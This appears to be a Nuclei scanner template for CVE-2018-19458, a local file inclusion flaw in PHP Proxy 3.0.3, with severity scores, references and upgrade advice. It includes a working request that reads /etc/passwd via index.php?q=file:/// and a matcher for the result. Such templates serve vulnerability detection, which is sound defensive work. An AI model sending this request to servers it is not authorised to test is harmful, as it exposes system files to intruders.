id: CVE-2018-19458 info: name: PHP Proxy 3.0.3 - Local File Inclusion author: daffainfo severity: high description: | PHP Proxy 3.0.3 is susceptible to local file inclusion vulnerabilities that allow unauthenticated users to read files from the server via index.php?q=file:/// (a different vulnerability than CVE-2018-19246). remediation: | Upgrade PHP Proxy to a version that is not affected by the vulnerability (3.0.4 or later) or apply the necessary patches provided by the vendor. reference: - https://www.exploit-db.com/exploits/45780 - https://pentest.com.tr/exploits/PHP-Proxy-3-0-3-Local-File-Inclusion.html - https://nvd.nist.gov/vuln/detail/CVE-2018-19458 - https://www.exploit-db.com/exploits/45780/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2018-19458 cwe-id: CWE-287 epss-score: 0.09157 epss-percentile: 0.9403 cpe: cpe:2.3:a:php-proxy:php-proxy:3.0.3:*:*:*:*:*:*:* metadata: max-request: 1 vendor: php-proxy product: php-proxy tags: edb,cve,cve2018,lfi,proxy,php-proxy http: - method: GET path: - "{{BaseURL}}/index.php?q=file:///etc/passwd" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4b0a004830460221009ba735e47e3956488ec409bba5a48bcef52bfa6d9312df0bec99f90bd9a126b1022100f1114947678110c6b8ecea4531edcb15d77cf642bbce1d44b8ad612f8b4c46a0:922c64590222798bb761d5b6d8e72950